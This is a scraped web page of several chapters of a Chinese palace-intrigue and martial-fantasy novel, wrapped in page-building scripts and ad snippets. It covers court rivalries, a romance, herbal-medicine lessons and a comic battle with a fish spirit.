$(''#content'').append('' ,好事都有他,坏事避开他,那叫一个默契,哪有一个将帅晋升之路如他一般一路坦途,顺畅无比,他怎会不知。 若是娶梁王女,坐上南军统帅,也无不可,有朝一日挥师南下,完成他与挚友共同心愿。 婚事,儿女之情,这么年,他不成家,虽少不得梁王暗中操作,但终究还是那人无心嫁。她既无心,那他娶谁都一样,竟不想公主亦对他有情,他欣喜若狂。她漏夜前来,问他可否愿意,他激动的说不出话来,公主差点误会转身羞愤离去,他慌张不已,最后竟失了礼数,抱着公主就亲了下去。这会儿想起来,臊得脸红,不过他好开心啊。 那日马车上,惠王问我为什么能说出那样的话。 我一脸疑惑问我说了好些话,指的哪一句。 他不做答,只问我是不是有不想耽误,不想打扰,不想他抱憾,只能放他自由完整一生的人。 我想了想,没说话。我不想告诉他是的,我有。也不想骗他说我没有。 马车晃得我有些晕,眼前总闪过那骇人的刺藤,那个傻小子今天可真是要对我下死手呢,他真是恨毒我了。 我那时太年轻,不知道该怎么处理这种事情,满脸的失落和无奈,马车颠簸,我顺势倚在惠王肩头,惠王一手将我环进怀里让我倚得更踏实些,他下巴正好抵在我头上,他的呼吸温热的洒下来,引得我睡意沉沉…… 惠王说:“万一那个人不怕打扰不怕耽误,或者有了你,他觉得一生才完整呢?” 公主婚期将近,每日欢喜不已,忽然像是想起什么,问我怎么知道赵桓的事。 我说我不知道啊,我就觉得合适,我就提了嘴,也没想着成事,还得是公主与赵将军缘分到了,佳偶天成。 我才不告诉她,赵桓有一封都快翻烂的信,上面是先驸马坠马重伤将死之前写给挚友赵桓的遗书,遗书第一件事就是托付遗孀。 战友托孤自古有之,不足为奇,当时我在南军中的暗桩上报此事,我还觉得没啥用,现在看来还真是好用,回头一定好好奖赏那个暗桩。 长安城,有我妹妹,有我父皇母后的理想,是我复仇计划的关键,我一定会来,可是我若没准备好,怎会轻易踏足。 14. 搁浅 皇帝体弱,有苏和调理,日渐康复。 长公主刘婉看似力挺太子,那也是因为太子生母先皇后在世时,许了她女儿皇后之位,如今,太子年满二十五还未大婚就是等刘婉独女陈娜娜成年,可陈娜娜并不喜欢太子,说是嫌弃太子年长她许多,生的又不如九皇子好看。近来刘婉似乎也和九皇子生母淑贵妃走得越来越近。 梁王世子成年已久也没婚配,大概也盯着陈娜娜。虽不敢明目张胆,但梁王与长公主原本就姐弟情深,陈娜娜是一定要成为皇后的人,盯着帝位的人,怎么会遗漏她呢?所以陈娜娜不肯早早嫁入东宫,总推脱说还未长成,其实不过是在观望,毕竟皇家不比百姓,历朝历代未成年就嫁入宫中不在少数。总之即便有皇帝力挺,太子还是如履薄冰,举步艰辛。 太子是一个很好的人,是一个很好太子,将来一定是一个很好很好的皇帝。 太子并不是每天都来上课,他虽被卸了监国之权,但是皇帝身体尚在修养之中,还是需要他帮着处理朝政。我拒绝了太子殿下提我为伴读的好意,还是以堂邑夫书僮的身份留在学宫,表面上整日忙些俗务。 平昭公主成婚没多久,太子又因政见与太后相左被打压,这次连带太子老师太傅少傅都因授业有过误导太子而被斥责下狱,皇帝修养期间,一应政务全都交由太后处理,长公主刘婉常驻太后宫中协助,为太后分忧,与淑贵妃更加亲近。 本来皇子亲王是不能去学宫学习的,九皇子能隔三差五跟着太子来学宫读书,还是早年太子求陛下特赐的恩典。 按惯例太子在学宫读书有伴读,皇子在内宫读书,没有伴读。 太后不知怎的,非要破个例,下了懿旨,命淑贵妃亲自挑选世家子弟给九皇子做伴读,于大内文渊阁设立学堂读书,此事长公主刘婉也插了手,一上来就怂恿淑贵妃把太子伴读韩燕熙和张子文要了过去。这就等于卸了太子双臂。若非李大公子已经担了太子府臣的官职,怕是连他也得挖走去保卫九皇子的安全。我估计太后下这道懿旨应该是刘婉鼓动的,这傻娘们儿一直摇摆不定,这回又要干啥。 一时的变动让十五岁的九皇子甚是苦恼,连续多日称病窝在寝宫不出来。 皇帝怒斥九皇子竟敢装病,违逆太后心意,怠慢学业,下旨封九皇子为秦王,即刻离宫,立府别居。指了上林苑一处宫殿,暂作王府,只等成年马上去往封地楚国,划南军驻地东阳,郯郡,泗水郡为楚国辖地。 斥责淑贵妃教子有失,闭宫反思,无诏不得出。升贤妃为贤贵妃,主理后宫。 贤贵妃是先皇后亲自给陛下挑选的人,早年是得宠的。生下皇六子皇七子皇八子,皇六子早夭,皇七子大约十岁上得疯症,平时好人一个,疯症发作就要杀人,送去皇家别苑看护起来。 皇八子封齐王,已经去往封地代国,不过这个齐王身有隐疾,不能近女色,偏偏好色成性,每次和女子欢好都要大病一场,好了却又要欢好,所以常年卧床。 因着这些缘故,贤贵妃一直被诟病。但她为人贤良,所以除了这些,众人也说不出其他的不好来,她接替淑贵妃主理后宫,宫中并无异议。 淑贵妃原是宫中女官,陛下登基第二年,因美貌被陛下宠幸,所出的皇四子平王入质南唐,不出两年便不幸染病早夭,客死他国,继而皇五子献王七岁被送去南唐为质。淑贵妃如今膝下除了九皇子还有皇帝仅有的两位公主,大公主马上年满十四成年,二公主尚且年幼。 陛下因平王献王入质,而常觉亏欠,是以十分看重宠爱淑贵妃。淑贵妃子女多且于国有功,根基稳固,被人捧着,难免心气高了些。此次闭宫反思,仅是敲打一下,让她不要犯糊涂。 太后以寿辰为由召回儿子梁王,太子一母同胞的二皇子德王和三皇子靖王,以及贤贵妃的皇八子齐王,长安城一时热闹起来。 为了召回爱子,顺道把所有能和皇位沾边亲王都召回来了打掩护,太后一个老太太还挺能折腾,真是有意思。我觉得应该把惠王的两个亲叔叔也召回来,虽然一个身有残疾,一个放荡不羁爱自由,但据我所知,那俩老伯伯也是妙人,好玩得紧。 没几天,惠王二叔庆王和三叔逍遥王便上书请旨,说要带着各自的王世子一同入京朝贺,为太后庆生。 一般亲王入京,王世子不能相随,但陛下破例准了,说想见见这些子侄。 并非所有亲王的封地都是国,有国号的都有兵权,没有国号的只有府兵戍卫军。一般位置太好,离京畿太近,战略位置太重要,经济发达非常富庶,为表示恩宠而分 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 封的就不立国号。 这俩老亲王就是有封地未立国,一个封地在南阳,一个封地淮阳,两人是邻居,离长安比那些人还近些,陛下准奏,他俩带着儿子就来奔着京城来了。 亲王无诏不得私下见面,为了路上不碰头,老哥俩很默契,逍遥王过武关直奔长安,庆王向南入洛阳再向西过函谷关进长安。 各地亲王都在忙着赶路。太后又有了新动作。 这日我们正在上课,太后宫里来人,抬了好些箱奏折来,全是太祖皇帝批阅的老奏章,有的都发霉了,太后身边传话的公公说太后的意思是让太子要以太祖皇帝为榜样,好好学学,以后皇帝那边的奏章就先不要帮着处理了,什么时候学得和太祖皇帝一样优秀了,再处理政务不迟。 几句话就赶在皇帝之前困住了太子。 而我只觉得这些人玩的把戏有些幼稚,不过也可以理解,他们龇牙咧嘴,其实不过外强中干,虚张声势而已。但凡他们名正言顺一点,哪怕有个像样的师出有名,都不至于像现在一样,如饿狼一样尽显丑态。想发狠下重手,又怕堵不住悠悠众口,无耻又要脸呗。投鼠忌器,动作变形别扭也是正常。毕竟皇家皆以仁孝治天下,为天下人之表率,一家子血亲,他们的较量,要顾及的太多,到底又当又立,需要一块遮羞布而已。能捂住当然还是尽量捂住,捂不住……捂不住也有捂不住的玩法。 我还挺喜欢,太子应对对手的玩法,对方出招他不慌也不惧,接招回招,不去刻意地赢,输了被打压了,也不恼也不气馁,就去游马涉猎,饱览群书……就当给自己放个长假,休息休息。等对手懈怠了,他满血复活,继续与对手周旋,看起来周而复始,没什么进展,其实不然,在这个过程中太子不断学习,不断思考,不断审时度势,改变策略,容错试错……一时间也不知道谁才是那个猎物——猛兽捕食,可以失误很多次,只要有一次成功,就可以吃饱,但是猎物失误一次就再也没有机会。 也许正因如此,对手才发现,太子文弱外表下,隐藏一颗怎样坚强的心,他们害怕了,胆战心惊,瑞瑞不安,惶惶不可终日。 不过啊,这表面的和气怕是也维持不了多久了,小打小闹也快掩饰不住剑拔弩张了,到时候免不了腥风血雨。惠王一家就是例子。 15. 暧昧 太后召见苏和,关心皇帝的情况,皇帝病情是不能外泄的,虽然是自己亲儿子,但作为太后也不能随意打听,苏和是个正直的人守口如瓶,规矩的很,苏和不想掺合其中,总和太医院一条舌头,太后见问不出什么内情,就安心让他看眼疾。 我问苏和皇帝身体如何,他也不说,我问太后身体怎么样,他还不说,我问太后眼疾怎样,他细细说来。 太后眼睛干涩,眼白充血,不可见光,视物模糊,眼睑红肿。流泪不止,早上黄脓封眼,需温水浸泡,才可睁眼。 经过苏和的诊治,已然大好,所以最近才这么作妖。 太后的眼睛就是累的,就是太贪图权力,事事都抢着干,把眼睛熬坏了。又喜欢动怒熬夜肝火太盛,又不肯好好调理将养。是苏和最讨厌的那种不听话的病人。 我给太后开了一副润眼的熏蒸方子,配上苏和开的内服的药,效果会更好些。苏和看了觉得不错,就将方子送入宫中。 太子暂离朝堂,潜心学习,也不是件坏事,九皇子,哦,秦王的病也好了,太子自然不会跟小弟弟生嫌隙起龃龉,照样宠溺带着他一起玩耍。 关于韩燕熙的事,我都问过平安了。说是有一次她去上林苑马场找郑清,回来路上遇到韩燕熙,那时并不知道韩燕熙姓者名谁,也不知其身份地位,只看穿着是个贵公子,平安不想理他,他却百般纠缠,具体怎样,她不详说,不过看样子有些暧昧。 第二次相见也是在上林苑,三月三上巳节,她和郑清在河边以兰花沾水弹在彼此身上,求消灾降福,嬉闹间遇到了太子一行,其中就有韩燕熙,只是当时平安带着围帽,韩燕熙没认出她来。那日太子谎称是惠王,与他们攀谈,看郑清很会驯马,就问郑清是谁家的马奴,作为惠王家奴的郑清一时不知如何作答,平安犹豫片刻只得拆穿他们身份,如实相告,太子有些尴尬,却也没有惩罚跪在地上战战兢兢的两个人,便走了。 那种情形拆穿和胡乱说谎都一样窘迫,不如撞着胆子拆穿,还落个实诚。平安说,听说太子人品绝佳,她便存了侥幸。不过当时也是吓得面容失色,豆大的汗,脸上的妆都花了,好在她出行向来带着围帽,不然就要丢人了。 不料当日下午太子便以看望为由,去惠王府上讨酒,说是要歌姬助兴,平安刚和郑清拌嘴哭了一场,嗓子哑鼻音重,便和公主告假没有上前伺候。郑清姐姐紫衣因为歌唱得好,被太子看中带回宫中,还一并带走了郑清。 平昭公主送他们出府,嘱托太子殿下要善待他们姐弟。 太子有些疑惑,上林苑相遇两人说是兄妹,怎得又变成了姐弟。便问紫衣家中可有小妹妹,紫衣回复说家中上头一个兄长两个姐姐,下面只有郑清一个弟弟。 太子只以为那日他们慌张说错了,或者他自己听错了记错了。 后来韩燕熙就总来找平安,先前在王府还能躲一躲,如今那两进小院子他如履平地。 不过他倒没什么出格的行为,虽爱得热烈,但终归以礼相待,还有心安排暗卫保护平安,我便让我的人藏的更深些,又留下惠王派来的人暗中保护。那两方人大都知道彼此底细,相处的还不错。有时平安在家不出门,他们就在街角茶馆,喝茶嗑瓜子,只是互相不说话,视线对上了就点点头,有时平安出门,他们既要跟着还得躲避别让平安察觉,藏身之地时有重叠,两方人面面相觑。后来实在尴尬,就约定一方看前门一方看后门。平安出行,就一方在左一方在右隐藏着暗中保护。 惠王还派了几个丫头婆子来,平安不喜欢有人伺候,只因夜里一个人害怕,就留下一个之前在府上认识,小她两岁的婢女翡翠陪着,平安不把她当下人,以诚相待,翡翠也知进退懂道理,忠心不二,两人相处甚好。 子夜,我潜入李椒的房间,点昏了青竹。李椒趴在床上,知道我来了,哼了一声。这么重的伤,他整个人发着高烧,疼得根本睡不着。 我掀开被子,拿出特意为他配制的金创药,一边用嘴巴吹着一边轻轻地小心翼翼的揭开他背上的纱布,他并不反抗,只是哽咽着流泪。 我心疼他,知道他这会儿委屈强忍着哭说不出话来,就安静地给他清创。十军棍可不是闹着玩的,李椒的背肿的老高,像多长了一层后背出来,看着很是骇人。整个背上都是淤紫,紫到发黑,伤口愈合的很慢,开裂处流着脓血。 我用内力将坏血淤血从伤口处逼出来,清了小半盆,将他身上擦拭干净,收拾妥当。又用内力为他调理,他身体里的内力似乎得到召唤,与我的内力融合呼应。 他们李家的内功最是阳刚,而我的内力恰恰阴柔,若是对战便最是相克,若是融合,却最是互补。相生相克。他对我的感情就如这内力一样,若是好就很好,若是不好就很不好。 李椒感受到背上一双小手抚过之处,伤痛减轻,燥热被一股清凉驱赶,体内真气与长安内力调和,竟然很是舒服。 “感觉好些了吗?”我轻轻地问。 李椒别过头去不说话。 我摸了摸他的额头,他并不躲。“退烧了,我给你上药啦,有些疼哦。”说完便用一根处理过的羽毛将药粉轻轻洒在伤口上。 李椒只觉得伤口被药杀得像是针扎一样,但也并不是不能忍受,疼过之后有点痒痒的,酥酥麻麻的。 “你来做什么?” “做这些啊。” “你……啊……你知道我问你什么。”李椒不小心扯到了伤口。 “我担心你。” “……不用你担心。” “咱俩还能和好吗?” “不能。” “……” 李椒等了许久都没人回应,忍着疼回头一看,人早没影了。李椒又是一阵气愤,趴回去恶狠狠地说道:“就喜欢不告而别是吧!不能不能不能,就是不能!” 看着长安留在枕边的金创药,李椒又难受的哭起来……长安,我喜欢你,忍不住喜欢你,你病了我也不在意,可你偏偏是个臭小子,我恨你,比之前更恨你,我也恨我自己,呜呜呜……你不知道我有多恨你,你什么也不知道…… 李椒从枕头底下拿出一个荷包,荷包鼓鼓的,塞满一张张宣纸,纸上写满长安和李椒四个字,从歪七扭八到娟秀可爱。 ……那刺藤,我根本不会打下去的……就算你真的犯了军法,我也下不去手,你那么瘦,轻轻打一下脊梁都该断了,我怎会真的打你,我只是气愤,你和堂邑夫太要好了,你们亲密无间,我嫉妒死了,我气得不行……长安,我不能和你和好,除非,你回到我身边……你就不能再问问我,再求求我吗,再问一下下,再求一下下,我就答应了…… 我在廊下听完他的哭诉,心里也是动容。可是李椒,不管刺藤会不会打下来,你依旧坚信图是我拿的不是吗?我的心,凉了…… 爱而不得终为恨,我那时太年轻,根本不知道,由爱生恨有多可怕,他爱不到我,就用恨纠缠我,我太年轻,不知其中深意个中厉害,只以为他闹一段时间的情绪,发泄一下就过去了,总会好起来,以致后来种下大错。 淑贵妃一番操作给我提了一个醒,太子殿下太倚重韩燕熙和张子文,这两人他用着得心得力,几乎和他形影不离,不是件好事。若是淑贵妃此次成功,无异于卸去太子左右手。太子伴读还有李椒,豆如意,赵不虞,庄助。这些人文武兼修,都是很优秀的人才。但这些人都是明面上的人,太子还需要一些暗处的人才。 太傅少傅还在狱中,太子无心课业,闲来无事,带着一行人游马涉猎。 我把我的小黑唤了出来。小黑才一露面,太子几人就躁动起来,我心道虽是好马,但也不至于此吧。 韩燕熙惊道:“这马原来是大舅哥你的马啊,这马可是我和平安的媒人呢。” 不远处的平安闻言气恼不已,大叫让他不要胡说赶紧闭嘴。他却反而开心地哈哈大笑。 我给他们介绍小黑是大宛特意繁育的战马。 羯奴人的战马几乎全都来自大宛,是以大乱战天谴,羯奴人受创最重,但马上奔袭作战依然强劲,这些年一直把持河西走廊阻断北汉西域通商,老唐以后汉人商队再也没能踏足西域。我们虽是例外,但获得此马也是大费周章,绕道匈奴靼奴建州等地,又因这马当时年幼我们也稍作伪装才得以带回北汉。 太子传召堂邑夫来谈一些关于马的趣闻。 这小子刚还在跟前,这会儿不知上哪去了,我扯着嗓子叫了几声,他才应,跑过来喘着粗气:“长安你快去看看,郑清那个傻子挖了这么大一个坑,平安和秦王都在坑里说是要葬什么什么东西,你快去,要不一会儿那傻子该给他俩埋了。” 怎么可能,堂邑夫就喜欢夸张,“好吧,我这就看看,你带把铁锹,真给埋了,你赶紧给挖出来。” 嚯,这么大一坑,平安说是要葬花,我看这坑……这坑你们仨躺里面都松快,葬什么花需要这么大坑。这整个山头的花花草草放里面也绰绰有余啊,这是打算把 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 目之所及的山头都拔光都埋了吗?不得累死? 平安和秦王一边汗流浃背一边累的不行还往坑里丢采来的花瓣。郑清还在修整大坑边框,一脸认真。 我赶紧喊停,这葬花原是风雅之事,可不能真当葬仪办啊。平安带着围帽忙上忙下,累也干得起劲儿,还很幸福的样子,我又不好说什么,叫他们差不多行了。 众人看了个笑话也就回了。韩燕熙却留下来要加入,平安顿时没了兴致。 我跟惠王走在后面,低声和他商量平安和郑清的婚事。惠王回头看了一眼韩燕熙,点点头,觉得这婚事早定甚好。平安嫁了,韩燕熙就死心了。这样整日纠缠,虽无过分之举,但对女子声誉总是不好。 只是,我对郑清现在的身份有些芥蒂,觉得他配不上我妹妹。我本不是势利之人,可我妹妹总不能随意委身一个马奴。想着在婚事敲定之前,赶紧给郑清谋个好出路。惠王听了我的想法,说他心里有数了,让我放心。 小黑是个势利眼,竟然很喜欢太子殿下,不拒绝太子殿下的抚摸反而很享受的样子,虽然小黑没有被驯服,不让人骑,太子依然心情愉悦,带着我们骑马奔驰,小黑就跟在身边。 行至一处村落边,未免扰民我们远远停下,安置帐篷休息,堂邑夫带着郑清去村里买鸡,他们是第一次为太子置买,太子仁德,时时事事以民为先,特地吩咐他们多给些银钱且不可讲价。 成片的油菜花田,看着心里就欢喜。远处地头是苏和及弟子们的义诊帐子,苏和经常义诊,让弟子们锻炼也造福百姓,一举两得。村民们排起长队,我和苏和远远对视点点头,就算打过招呼了。 师侄看见我,便拿着医案兴致冲冲地过来向我请教。苏和忙碌,又极其严格,他们更喜欢来找我,每次见到我总不肯轻易放过。 对于行医,我甚是严谨,不敢稍有怠慢,便细细翻阅,指点他们贫民体弱,用药要缓,不可下药太重,虎狼之药少用慎用,非要用一定要臣药相佐,平缓药性。 讲学要有侧重,我看医案中多腹泻病例,便以此为课题。 他们润肠通便的中草药常用大黄,芒硝,番泻叶、决明子等。 便建议他们用木香,木香是理气药,具有行气止痛,健脾消食的功效,用于胸胁、脘腹胀痛,泻痢后重,食积不消,不思饮食。 若病患湿滞伤中,脘痞吐泻,食积气滞,腹胀便秘,痰饮咳喘。可用厚朴,这味药化湿药,具有燥湿消痰,下气除满的功能。 芒硝具有泻下通便,润燥软坚,清火消肿的功效,用于实热积滞,腹满胀痛,大便燥结,肠痈肿痛等。但药力太盛,贫民用了身体发虚无力,会耽误干农活。 火麻仁润肠通便,主要针对的是肠燥便秘,足癣,若病人有足癣可兼治。 番泻叶药性偏寒,归大肠经,主要用于治疗热结便秘,腹水肿胀等病症。决明子味甘咸寒,也入大肠经,能起到清热润肠通便的作用,常用于治疗内热肠燥,大肠秘结。若是目赤肿痛、头痛、视物模糊等不适症状的病患服用可一举两得。 再有大黄、芦荟、郁李仁、桃仁、杏仁也是有润肠通便的作用。对于实火便秘,可选用的三黄片,是由大黄、黄芩、黄连组成。若是年老的病患,肠燥便秘,可以选用玄参、麦冬、生地熬制增液汤服用。 师侄们学得仔细,末了又有些欲言又止。苏和带弟子出来义诊不光免费诊病还免费送药。这些弟子怕是不敢用太贵的药,我了然,苏和是医痴,这些俗务他向来不管,徒弟们这方面的的顾虑,他也不知。我鼓励师侄们,不要因为担心钱而不好意思用好药贵药。药材有价,生命无价。 “长安,他们这药材如流水般地往外送,银子都从哪来啊,门下弟子又多,这么多人的开销,苏大哥挣得再多也挣不上花的呀。”平安担忧道。 这便是师父创建鬼门的重大原因之一。 师侄又请教针灸,有个胆大的脱了上衣要我演示飞针。我只好炫技,让大家兴奋兴奋。众人问有何技巧,我说回去买块猪肉多练。 针灸针灸,针而灸之,效果才妙。我让他们互相扎针让我看看,他们下针大多有些犹豫,便指点道,你们现在的水平可以先把穴位看作是一个范围,大概指尖这么大,在这个范围内施针都可以刺激到穴位,再以艾灸相佐便有疗效,不必限于针尖这么一点点,瞄也瞄不准,瞄久了手发抖更扎不准。 师侄们连连称是,我还要随侍太子,聊了这一会儿就打发了他们。 16. 鱼精 平安见堂邑夫一个人回来的,就问郑清呢,堂邑夫说先让他回来了,别是迷路了吧。平安道不可能,郑清在哪儿迷路也不可能在上林苑迷路。 我觉得也是。 太子殿下派护卫去找,只在一处路边找到了堂邑夫让郑清带回的东西。 平安着急的不行。我想郑清现在也有点功夫,应该不会出大问题,但耐不住平安着急,便和平安两人一骑,纵马寻找,堂邑夫跟着来,护卫们也领命四处寻找。 太子一行人休整好后也跟着寻来。 在灵昆湖边我远远看几人行迹可疑,几个人都是练家子,一个人赶着一辆牛拉的排车,其他人都坐在上面,中间放着一个大麻袋。 他们也远远看见我们,聚在一起不知说了什么,将马车上的麻袋往湖里一扔,我才看清那麻袋上还绑着石头。那些人扔完麻袋,牛车都不要了,一边飞跑还一边挑衅地朝我们看。 傻子也知道麻袋里是啥了啊! 我回头吩咐堂邑夫赶紧把苏和叫来,晚了郑清可能就没命了。说完从马上飞身到湖边甩飞两只鞋子一个猛子扎进水里,平安骑马跟过来,下了马也要下水,被赶来的韩燕熙拦住,急得又哭又喊气得直跳脚。 我在湖中寻了好久,才跟着气泡确定郑清的位置,拔出藏在怀里的匕首含在口中,深潜下去,我划开麻袋,郑清已经没有反应了。我掐住他的手腕,还有微弱的脉搏,那就还有救。 正拽着他向上浮,忽然一道黑影闪过,久违的杀气,让我起了一身鸡皮疙瘩。这种感觉很不好,我已经太久没大开杀戒了,竟然对危险有了恐惧之感。我环顾四周,却并没有看到什么。不经蹙眉,我是不会感受错的,对方身手不错啊,起码水性很好。 不行得先把郑清送上去,晚了我妹妹该守望门寡了。 我带着郑清刚浮上水面,就感觉脚下危险来临,瞬间被拉了下去。哼,来的正好。怕郑清同我一起被拖下去,我赶紧运气推了郑清一把,他飞出水面朝岸上去,李大公子眼疾手快飞身迎来将他接住。 我任由那黑影将我拖拽到湖水深处,才挣脱束缚。嚯,真是,好大,一条鱼,这是成精了吧。咦,哈哈,还真是一条成精的鱼,我大喜。 这鱼通体乌黑,麟片却闪着七彩光泽,很是炫目,我瞬间就想,要是拥有一片它的麟甲就好了。 它长的肥肥胖胖,却线条流畅,拥有一条流仙裙摆闪着荧光的薄纱一样的超大尾鳍,背鳍和胸鳍亦是如此,真想切下来给我妹妹做裙子。 两对腹鳍已经开始化为四肢,只不过很短,和身体很不搭配,有点像腿很短身子又胖的狗子,还……怪可爱的。 我刚才就是给它小短胳膊拽下来的,挣开它的时候,我一脚踹它脸上了,它被我直接踹得背过身去,大概力道有些重,它缓了缓才转过身来。 我这才看清它正脸,这鱼面相和一般的鱼……也太不像了吧,可能是修炼到快要化形了,胖嘟嘟的脸蛋一鼓一鼓的,和体格不太搭配的小嘴巴一开一合,两侧大大的鱼鳃一扇一扇,边缘像镶满了钻石一样闪亮,尤其额头上的大钻石,光芒四射,让它的面相显得格外优雅高贵。 它很生气的样子,眼睛有些发怒,瞪着我,拧着……姑且算作眉头吧,好像对我刚才踹它那一脚很不满意。 这鱼…会生气!还怪有意思的。 我歪头看着它,它顿了顿,收起愤怒的表情,一脸天真,有样学样,也歪头看着我,看来它的修行还欠火候,心智不太够。 我去,送上门的,这我得拿下啊。下次再有这样的机缘,可不知是何年何月了。啊哈哈哈哈哈……我来啦……… 我游到它身下,想速战速决,直接运气把它打到岸上去,谁知它随着我的方向头朝下对着我,看我要出招,一个摆尾俯冲下来,我们缠斗起来。 好吧就算它心智不全,也得承认,水下是它的天下。 几经周旋,我绕到后面骑在它的背上,双手插进它的鳃内,它难受至极,为了甩开我,使劲晃动胖头,摆动尾巴,竟一跃冲出水面。 “吼吼吼……”骑着鱼飞啦,我简直爽爆啦,太好玩啦,随即一个俯冲我们再次下水,溅起一个巨大的水花。 “这么大的鱼……精啊……”岸上的人都惊呼不已。 原本围着郑清施救的护卫们和太子伴读们,赶紧把太子惠王秦王护住后退。 韩燕熙依旧退也不退陪在平安和郑清身边。 正卸甲脱衣服要下水营救我的护卫们和李大公子,都愣住了,动作停在那里…… 我和大鱼缠斗的不亦乐乎,在偌大的灵昆湖里,我们水上水下翻腾不已,浪里来浪里去……要么我抓着大鱼尾巴把它扔出水面要么大鱼将我顶飞,更多时候我骑大鱼冲浪……哦吼…… 太子殿下催促人别发愣了,赶紧下去助我,韩燕熙倒觉得不必多此一举,下去帮忙反而添乱,道:“我大舅哥那小子可以对付。”又指着地上的郑清道:“这小子怕是……” 平安拍着郑清的脸,撕心裂肺地哭喊,大家都觉得,没救了,让平安节哀。平安根本不会放弃,她忽然想起什么…… “妈的,哪来的破鱼,敢吃我长安……”带着苏和匆匆赶来的堂邑夫正好看见大鱼咬着我的总角飞出水面又一同入水,把我抡了好大一圈。 我撇见苏和来了,顿时想起郑清还生死未卜,平安一定伤心极了,霎时收了玩心,那就赶紧上岸吧。 堂邑夫正要飞身下水,忽然水面连连炸起水柱,每次炸起都精准地把大鱼顶飞。最后大鱼落到岸上抽搐,失去反抗。 太子一行人哪里见过这等场面,都惊呆了。 平安还没有从失去郑清的痛苦中走出来,我上岸的时候,看见她哭着,疯了一样使劲儿按压郑清的胸口,数着一二三四五……三十,然后抱着郑清的脸就……虽然隔着围帽,但我确定,就是在亲。 这也太爱了,都死了还…… “师兄,郑清还有救吗?有万分之一的机会,咱们也得救过来哈,我妹妹平安不能没有郑清。”我迫切地看着苏和,我不想妹妹痛失所爱,我突然很担心,甚至害怕起来,我怕郑清有个三长两短,平安也折了……我不敢往下想。 苏和才来,看我和大鱼缠斗,还没搞清状况。现下赶紧上前去给郑清把脉,我要拉开平安,平安魔怔了一般,谁也不认,吆喝着要给郑清做什么人工呼吸,挣开我继续又压又按又亲又亲又亲。 韩燕熙一脸难看,等在一边。 我将平安点昏,怕她继续耽误下去,即便苏和也救不回人来。韩燕熙很有眼力见的把平安接过去抱在怀里。 苏和将郑清身躯翻过去,让堂邑夫摆正他的头,使他下巴贴地张开嘴巴,跪在地上撅着屁股,姿势有点尴尬,然后脱了他的裤子,拿出一根一尺长的粗银针,对着会·阴刺了进去。 围在一边的太子一行,某个地方好像也隐隐作痛,神色都不自在。 苏和将针反复旋转刺入,然后伸出食指中指并拢如剑,对着会·阴凝气一点,银针几乎整根没入,郑清肺中积水泡沫瞬间从口鼻喷涌而出,他大声咳嗽起来,苏和慢慢拔出长针,给他穿好裤子,我叫堂邑夫把远处的牛车赶过来,把郑清放上去。苏和又给郑清扎了几针,他呼吸渐渐顺畅,人也恢复了血色。 “这鱼精怎么弄?”堂邑夫问。 “杀了吃肉。”奄奄一息的鱼精听我这么一说,吓得眼珠一翻,头一倒,竟像 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人一样作势晕过去。 我走过去蹲下身来,拍了拍它,“还怪可爱的,好好修行不行吗?干嘛要吃我,怎么?听着反倒要被我吃就害怕了?” 苏和一边给郑清起针一边道:“这自古呢,童男童女对精怪修行来说都是大补,你又有灵根,内力深厚,你一下水,就引得它心动,它若今日把你吃了,也许不日就能化龙啦,哎,你内力是不是退化了,我刚才见你打的那几个水柱,内力有所减退啊。” 太子身后的惠王听了,心虚地看了我一眼。 “哪有,小小鱼精,不必全力以赴。”我拿着匕首在鱼精身上上下游走,它吓得瑟瑟发抖。 我戳了戳它肚子,大声道:“是个男鱼女鱼啊?” 它一个激灵,幻化的小短腿一捂。 我啧了一声,一巴掌打开它小短腿,“啥也没有你捂个屁,你是条鱼。”我和大鱼逗着玩儿,太子一行人也不再恐惧。 秦王初生牛犊,上前蹲在我身边,看着大鱼问我:“普通鱼杀了,有籽的是雌鱼,若要辨别这鱼精雌雄,看来也得杀了,可这么大只,怎么杀啊?!这么大一条鱼,得多少人一起才吃得完?” 鱼精惊恐不已,整个鱼抖得像得了羊角风。翻着肚子,小短腿在努力蹬着,似乎想展示着什么。我用力拍它一下,让它安静些。 “噢,那倒不必非得杀它,可惜了了它的修为,就为了分个男女,不值当的害它性命,这不是条一般的鱼,有年头了,有灵识的,这是条有修行的……男鱼。” “男鱼?”众人不解。 堂邑夫道:“女的捂上面,男的捂下面,它方才捂的下面。” 太子和惠王闻言不禁哈哈大笑,众人也都跟着乐起来。 我拍了拍大鱼,道:“这附近水面向来太平,没听说什么水怪作乱,看来你平素一心修行,从不作恶,是个善良的大胖鱼,今日怕是起了贪念,遇到我是你的劫难,也是你的机缘,你给我点好处化解了,我就放你回去。” 给我一片麟吧,五彩斑斓的黑,怪好看的。我也不好意思开口要,全凭你自愿吧,希望你舍得。我心中暗自期待。 那鱼精闻言一愣,似乎在思考,然后吐出一个闪着七彩光晕晶莹剔透的珠子,珠子离口,它立马失去光泽身体也仿佛小了一圈。这么大方,居然把内丹给我了。 “哟,都有内丹了,这鱼可以啊。”堂邑夫道。 苏和道:“这鱼得怪好个年岁了。今日遇到你,怕就是应天命,历人劫。” 秦王好奇的问道:“那这算历劫成功了吗?” 我摇摇头,说:“不知道,得死了,或者灰飞烟灭,才算历劫失败吧,咱也没杀它性命,它吐了内丹,只是损了些修为……哎呀,精怪修仙的规矩咱也不懂,没死就算历劫成功啦!要成仙喽!” 大鱼闻言,似乎甚是激动,我只顾欢喜地捡起珠子,左看右看,对着太阳看,又放在手心里捂着看,看是不是夜明的,甚是开怀。 我像抚摸小狗子一样抚摸着大鱼道:“你如今暴露了,这处水面藏不住你了,你下水以后就到别处去吧。继续好好修行,要乖要善良哟。” 鱼精听完,用头撞了三下地,然后翻身一跃而起,投入水中压出一个巨大的水花,众人抬手去挡,水花落下,众人再看,湖面平静如镜,大鱼早已不见。 “太子殿下,这珠子给你吧。”我举着珠子向几步开外的太子殿下道。 太子殿下对鱼精心有余悸,不肯收下,连连摆手:“那是鱼精给你的赔礼,你留着吧。” 我又给惠王,惠王也不收,我又看了秦王一眼,秦王一脸期待…… 我就给了苏和,让他日后入药救人也算鱼精一件功德。 17. 东宫 